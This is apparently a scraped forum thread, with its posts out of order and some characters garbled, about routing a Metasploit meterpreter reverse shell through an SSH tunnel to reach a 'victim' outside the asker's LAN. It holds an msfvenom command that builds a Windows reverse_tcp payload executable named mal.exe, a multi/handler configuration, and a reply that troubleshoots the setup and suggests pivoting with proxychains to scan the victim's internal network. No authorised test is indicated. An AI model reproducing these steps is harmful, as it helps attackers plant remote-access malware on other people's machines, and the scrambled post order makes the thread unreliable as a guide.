If meterpeter is listening for a connection, the other side needs to send what it expects, which is not SSH. Also, you would also need to configure SSH to listen for connections on the port you posted above, which seems you have metasploit listening on, not SSH, so SSH should fail completely anyway(even with SSHpass sending credentials) with what you have shown above, unless I missed something you left out.

SSHpass I believe lets you script the login process and pass the password along, but again, you'd be giving the victim access to YOUR side if you do this. Using proxychains, you can then forward any tool over the SSH connection to scan the inside of the victim LAN, via the victim's machine, but I think you have your setup a bit ass backwards in what you are trying to do, since you seem to be wanting the victim to SSH into you, which I wouldn't suggest doing. You would also need to use a certificate and disable passwords for it to work, or use a different SSH tool to allow passing the passwords, since SSH itself, won't allow you to script the password prompt part. Thank youįor SSH, you would ideally SSH into the victim, not them into you, which would make you vulnerable to attack. Since NC and apache test works, SSH tunnel should be functioning properly, so it is the handler's problem? My thought is, the multi handler is somehow not listening/connecting to the tunneled port, but I am not sure how could that happen, doesn't remote ssh tunnel automatically apply to global once the command is running?Īny ideas, or workarounds? This should be a FAQ, yet, couldn't find right way.

I did a scan on :45679, no open port discovered. Then I exploit, nothing happens on the handler, no session receive, but the ssh terminal continuously showing the following message once I run the malware on the victim machine LHOST 192.168.0.102 yes The listen address Payload options (windows/圆4/meterpreter/reverse_tcp):ĮXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) Name Current Setting Required Description Msfvenom -p windows/圆4/meterpreter/reverse_tcp LHOST= LPORT=45679 -f exe -o mal.exeĪnd here is the multi/handler configuration under msf Now, here is the configuration of the malware generated by msfvenom Tested with netcat, and apache server, worked. The ssh server is also inside another LAN, but port forwarding is possible, so I forwarded 45678 as ssh port, and 45679 as the reverse connection port. My kali machine is in a LAN, in order to get a reverse connection from the victim outside the LAN, I set up a remote ssh tunnel

How to portforward anonymously in kali